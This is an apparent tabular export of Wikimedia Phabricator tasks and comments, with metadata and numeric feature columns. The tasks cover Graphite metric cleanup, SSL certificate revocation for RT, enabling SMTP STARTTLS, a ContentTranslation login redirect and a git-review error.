2) making sure to use client-side sampling on high-volume metrics.",,,1433795520,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,5.0,1.0,4.0,12.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,8.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,8.0,12.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,4.0,4.0,0.0,1.0,3.3978494623655915,0.7956989247311828,"We are using upper and lower in a couple of places (node heap monitoring, for example), so I'm not in favor of that part. The others sound okay, but then I'm wondering if it's really worth it. Based on what I have seen, we could probably win more by

1) buying more / bigger SSDs to alleviate the disk space issue, and
2) making sure to use client-side sampling on high-volume metrics."
471059,Ruthlessly eliminate impractical metrics from Graphite,"We are using upper and lower in a couple of places (node heap monitoring, for example), so I'm not in favor of that part. The others sound okay, but then I'm wondering if it's really worth it. Based on what I have seen, we could probably win more by

1) buying more SSDs to alleviate the disk space issue, and
2) making sure to use client-side sampling on high-volume metrics.",,,1433795491,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,5.0,1.0,4.0,12.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,8.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,8.0,12.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,4.0,3.0,0.0,1.0,3.3956043956043955,0.7912087912087912,"We are using upper and lower in a couple of places (node heap monitoring, for example), so I'm not in favor of that part. The others sound okay, but then I'm wondering if it's really worth it. Based on what I have seen, we could probably win more by

1) buying more SSDs to alleviate the disk space issue, and
2) making sure to use client-side sampling on high-volume metrics."
471017,Ruthlessly eliminate impractical metrics from Graphite,"I'm +1 too, @yuvipanda had a use for `lower` or `upper` once, related to number of failed tools in labs IIRC",,,1433792199,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4583333333333335,0.9166666666666666,"I'm +1 too,SCREEN_NAME had a use for CODE or CODE once, related to number of failed tools in labs IIRC"
471016,Ruthlessly eliminate impractical metrics from Graphite,I'm pretty +1 on this.,,,1433792084,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5714285714285716,1.0,I'm pretty +1 on this.
101618,Labs makes use of a SHA-1 Certificate,"I keep getting the following warning on Firefox's console:
> This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.
https://developer.mozilla.org/en-US/docs/Web/Security/Weak_Signature_Algorithm
https://developer.mozilla.org/en/docs/Tools/Web_Console#Security_warnings_and_errors

This happens for each
> GET https://labels.wmflabs.org/auth/whoami/
call from [[https://meta.wikimedia.org/wiki/Wiki_labels|Wiki labels]].",Medium,50.0,1433612869,1474083009.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-mvx4x7ywk2flsaku2dbk,True,PHID-TASK-b5nsymce5qeawyu6g5dq,task_description,duplicate,True,c3,1,False,False,False,-4,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.323529411764706,0.7352941176470589,"I keep getting the following warning on Firefox's console:
QUOTE
URL
URL

This happens for each
QUOTE
call from [[URL labels]]."
101571,delete and revoke SSL certificate rt.wikimedia.org," RT moved behind misc-web (I71315c476262e6) so the certificate is not needed anymore.
",Medium,50.0,1433544839,1434059382.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-52ft7fgknfxmk4iom37d,task_description,declined,True,c3,1,True,False,True,-4,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,1.0," RT moved behind misc-web (I71315c476262e6) so the certificate is not needed anymore.
"
473373,delete and revoke SSL certificate rt.wikimedia.org,"So turned out we need this on its own for the email routing, rejecting the ticket now that Daniel has rolled back the changes.",,,1434059382,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.9615384615384617,0.9230769230769231,"So turned out we need this on its own for the email routing, rejecting the ticket now that Daniel has rolled back the changes."
471702,delete and revoke SSL certificate rt.wikimedia.org,"Change 216332 merged by Dzahn:
delete RT's SSL certificate

[[https://gerrit.wikimedia.org/r/216332]]",,,1433880555,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.7222222222222223,0.8888888888888888,"Change 216332 merged by Dzahn:
delete RT's SSL certificate

[[GERRIT_URL]]"
471694,delete and revoke SSL certificate rt.wikimedia.org,"Change 216332 had a related patch set uploaded (by Dzahn):
delete RT's SSL certificate

[[https://gerrit.wikimedia.org/r/216332]]
",,,1433880058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.64,0.88,"Change 216332 had a related patch set uploaded (by Dzahn):
delete RT's SSL certificate

[[GERRIT_URL]]
"
470159,delete and revoke SSL certificate rt.wikimedia.org,"- deleted on server magnesium: shred'ed key in /etc/ssl/private/ and rm'ed cert and chained file in /etc/ssl/localcerts/
- removed install_certificate from puppet role (it also did this in labs!)
- removed HTTPS monitoring on magnesium
- follow-up ticket that we don't need to use a public IP anymore now

please do:

- revoke certificate with vendor
- delete cert from repo: https://gerrit.wikimedia.org/r/#/c/216332/
- delete key from private repo
",,,1433546180,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,4.0,13.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,2.0,2.0,0.0,0.0,1.0,0.0,4.0,1.0,2.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.774193548387097,0.6451612903225806,"- deleted on server magnesium: shred'ed key in /etc/ssl/private/ and rm'ed cert and chained file in /etc/ssl/localcerts/
- removed install_certificate from puppet role (it also did this in labs!)
- removed HTTPS monitoring on magnesium
- follow-up ticket that we don't need to use a public IP anymore now

please do:

- revoke certificate with vendor
- delete cert from repo: URL
- delete key from private repo
"
470158,delete and revoke SSL certificate rt.wikimedia.org,"Change 216339 merged by Dzahn:
RT: stop installing SSL cert

[[https://gerrit.wikimedia.org/r/216339]]",,,1433546005,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,3.526315789473684,0.8421052631578947,"Change 216339 merged by Dzahn:
RT: stop installing SSL cert

[[GERRIT_URL]]"
470157,delete and revoke SSL certificate rt.wikimedia.org,"Change 216339 had a related patch set uploaded (by Dzahn):
RT: stop installing SSL cert

[[https://gerrit.wikimedia.org/r/216339]]
",,,1433545905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,3.5,0.8846153846153846,"Change 216339 had a related patch set uploaded (by Dzahn):
RT: stop installing SSL cert

[[GERRIT_URL]]
"
101489,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter. After login the user should be taken to Special:CX again with all query parameters.

This is important for campaigns like email campaigns. When user click the user may not be logged in. Showing nosuchspecialpage is a bad idea in that case.",Medium,50.0,1433479764,1433838162.0,PHID-USER-m2yck6646cdt5t6zkta4,False,PHID-USER-m2yck6646cdt5t6zkta4,False,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_description,resolved,True,c3,1,True,True,True,-4,True,1.0,0.0,0.0,3.0,1.0,7.0,3.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,29.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,6.0,12.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.25,0.75,"For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter. After login the user should be taken to Special:CX again with all query parameters.

This is important for campaigns like email campaigns. When user click the user may not be logged in. Showing nosuchspecialpage is a bad idea in that case."
473112,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"
Hey Santosh, 

thank you for resolving this task so quickly. Could you show me how to format the url to adopt this change? The following url
is not prompting me to login when I am not logged in:

https://es.wikipedia.org/w/index.php?title=Especial:ContentTranslation&campaign=staff-recommender&targettitle=Cadira&to=es&from=en&page=Chair

Thanks, 

Ellery",,,1434041705,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,10.0,10.0,2.0,2.0,0.0,0.0,10.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,3.480769230769231,0.7692307692307693,"
Hey Santosh, 

thank you for resolving this task so quickly. Could you show me how to format the url to adopt this change? The following url
is not prompting me to login when I am not logged in:

URL

Thanks, 

Ellery"
470934,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"* https://gerrit.wikimedia.org/r/216030 (branch master): #mw1.26wmf9
",,,1433786546,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,"* GERRIT_URL (branch master): #mw1.26wmf9
"
470626,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"Change 216030 merged by jenkins-bot:
Show login page if the URL has campaign parameter for anon users

[[https://gerrit.wikimedia.org/r/216030]]",,,1433753049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.9259259259259259,"Change 216030 merged by jenkins-bot:
Show login page if the URL has campaign parameter for anon users

[[GERRIT_URL]]"
469630,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"Change 216030 had a related patch set uploaded (by Santhosh):
Show login page if the URL has campaign parameter for anon users

[[https://gerrit.wikimedia.org/r/216030]]
",,,1433479927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.84375,0.90625,"Change 216030 had a related patch set uploaded (by Santhosh):
Show login page if the URL has campaign parameter for anon users

[[GERRIT_URL]]
"
101452,Protect incoming emails with SMTP STARTLS,"When receiving an email, none of the three wikimedia mail servers (lead, polonium and sodium) support STARTTLS for reception.

Expected:
They should offer the STARTTLS, after which should present a valid certificate making possible to establish a TLS connection with a PFS cipher.

Like T101451, the email should also be protected when arriving to WMF servers, as well as when reentering wikimedia.org quoted in a reply.",Medium,50.0,1433456066,1443015793.0,PHID-USER-izojihzr4ja3jsgzn5wv,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_description,resolved,True,c3,1,False,False,True,-4,True,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,11.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,12.0,4.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.0,11.0,8.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,0.0,5.0,0.0,0.0,0.0,4.475,0.75,"When receiving an email, none of the three wikimedia mail servers (lead, polonium and sodium) support STARTTLS for reception.

Expected:
They should offer the STARTTLS, after which should present a valid certificate making possible to establish a TLS connection with a PFS cipher.

Like T101451, the email should also be protected when arriving to WMF servers, as well as when reentering wikimedia.org quoted in a reply."
533222,Protect incoming emails with SMTP STARTLS,This is now done :),,,1443015793,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,This is now done :)
533196,Protect incoming emails with SMTP STARTLS,"Change 240351 merged by Faidon Liambotis:
mail: add inbound TLS support for main MXes

[[https://gerrit.wikimedia.org/r/240351]]",,,1443013388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.869565217391304,0.8695652173913043,"Change 240351 merged by Faidon Liambotis:
mail: add inbound TLS support for main MXes

[[GERRIT_URL]]"
533194,Protect incoming emails with SMTP STARTLS,"Change 240351 had a related patch set uploaded (by Faidon Liambotis):
mail: add inbound TLS support for main MXes

[[https://gerrit.wikimedia.org/r/240351]]
",,,1443013266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7666666666666666,0.9,"Change 240351 had a related patch set uploaded (by Faidon Liambotis):
mail: add inbound TLS support for main MXes

[[GERRIT_URL]]
"
100987,"""git review -d XXX"" doesn't work for http gerrit","Output follows.  Looks like it is expecting some python scripts to be in place.

  mah@flynn: HitCounters$ git review -d 202629
  Traceback (most recent call last):
    File ""/usr/local/bin/git-review"", line 11, in <module>
      sys.exit(main())
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 1180, in main
      local_branch = fetch_review(options.changeidentifier, branch, remote)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 886, in fetch_review
      parse_exc=ReviewInformationNotFound)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 416, in query_reviews
      parse_exc=parse_exc)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 434, in query_reviews_over_http
      request = run_http_exc(exception, url)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 175, in run_http_exc
      raise klazz(255, str(err), ('GET', url), env)
  git_review.cmd.CannotQueryPatchSet: Cannot query patchset information
  The following command failed with exit code 255
      ""GET https://gerrit.wikimedia.org/changes/?q=202629&o=CURRENT_REVISION""
  -----------------------
  Cannot query patchset information
  The following command failed with exit code 104
      ""GET https://gerrit.wikimedia.org/changes/?q=202629&o=CURRENT_REVISION""
  -----------------------
  <!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
  <html><head>
  <title>404 Not Found</title>
  </head><body>
  <h1>Not Found</h1>
  <p>The requested URL /changes/ was not found on this server.</p>
  </body></html>
  
  -----------------------
  -----------------------
